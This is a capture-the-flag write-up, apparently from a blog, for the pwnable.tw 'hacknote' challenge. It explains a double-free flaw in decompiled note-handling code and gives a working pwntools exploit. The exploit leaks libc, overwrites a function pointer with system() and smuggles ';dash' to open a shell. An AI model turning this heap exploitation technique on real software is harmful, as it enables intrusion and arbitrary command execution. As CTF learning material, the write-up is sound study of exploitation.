Challenge
Vulnerability
It looks like a heap exploit!
unsigned int SUB_add()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( noteCnt <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] ) // when ptr[i] is empty
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*ptr[i] = SUB_func; // func ptr
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*(ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(ptr[i] + 1), size);
puts("Success !");
++noteCnt;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
Every note has main chunk and content chunk.
One more exciting thing is that main chunk has a function pointer! (printing content)
We may overwrite it as system function.
unsigned int SUB_printNote()
{
int index; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
index = atoi(buf);
if ( index < 0 || index >= noteCnt )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[index] )
(*ptr[index])(ptr[index]);
return __readgsdword(0x14u) ^ v3;
}
At line no. 17, we can see how function pointer is used.
So, the parameter is function pointer itself!
unsigned int SUB_delete()
{
int index; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
index = atoi(buf);
if ( index < 0 || index >= noteCnt )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[index] )
{
free(*(ptr[index] + 1)); // content
free(ptr[index]); // main chunk
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
In delete function, there is a vulnerability.
After deletion, it does not clear 'ptr[index]'. It means we can double free the chunk!
The exploit scenario is below here.
1. leak the libc address using chunk in unsorted bin (main_arena.top is written in freed chunk)
2. using double free, make the status like this:
A's main chunk == B's content chunk
3. write system function's address at A's function pointer position using B's content.
4. Because the parameter is function pointer itself, the string such as (system address) + ';bash' is overwritten.
FL4G
#!/usr/bin/env python
# pwnable.tw hacknote
from pwn import *
debug = 0
def menu(choice):
s.recvuntil('choice :')
s.send(str(choice))
def add(size, content): # size : int, content : str
menu(1)
s.recvuntil('Note size :')
s.send(str(size))
s.recvuntil('Content :')
s.send(content)
if debug:
print('add finished')
def delete(index):
menu(2)
s.recvuntil('Index :')
s.send(str(index))
if debug:
print('delete finished')
def printNote(index):
menu(3)
s.recvuntil('Index :')
s.send(str(index))
if debug:
print('printNote finished')
def exploit():
# libc leak
add(0x60, 'A') # 0
add(0x08, 'b') # 1
delete(0)
add(0x60, 'z'*4) # 2
printNote(0)
s.recvuntil('z' * 4)
re = u32(s.recv(4))
libc_base = re - 0x1b07b0
if debug:
log.info('libc_base : '+hex(libc_base))
system = libc_base + 0x3a940
delete(1)
delete(1)
add(0x40, 'x') # 3
add(9, p32(system)+';dash') # 4
printNote(3)
if __name__ == '__main__':
if debug:
s = process('./hacknote')
pause()
else:
s = remote('chall.pwnable.tw', 10102)
exploit()
s.interactive()
s.close()
'pwnable.tw' 카테고리의 다른 글
| [pwnable.tw] applestore writeup (0) | 2018.10.11 |
|---|---|
| [pwnable.tw] Silver Bullet writeup (0) | 2018.10.11 |
| [pwnable.tw] dubblesort writeup (0) | 2018.10.11 |
| [pwnable.tw] calc writeup (0) | 2018.10.11 |
| [pwnable.tw] orw writeup (0) | 2018.10.11 |
sol_hacknote.py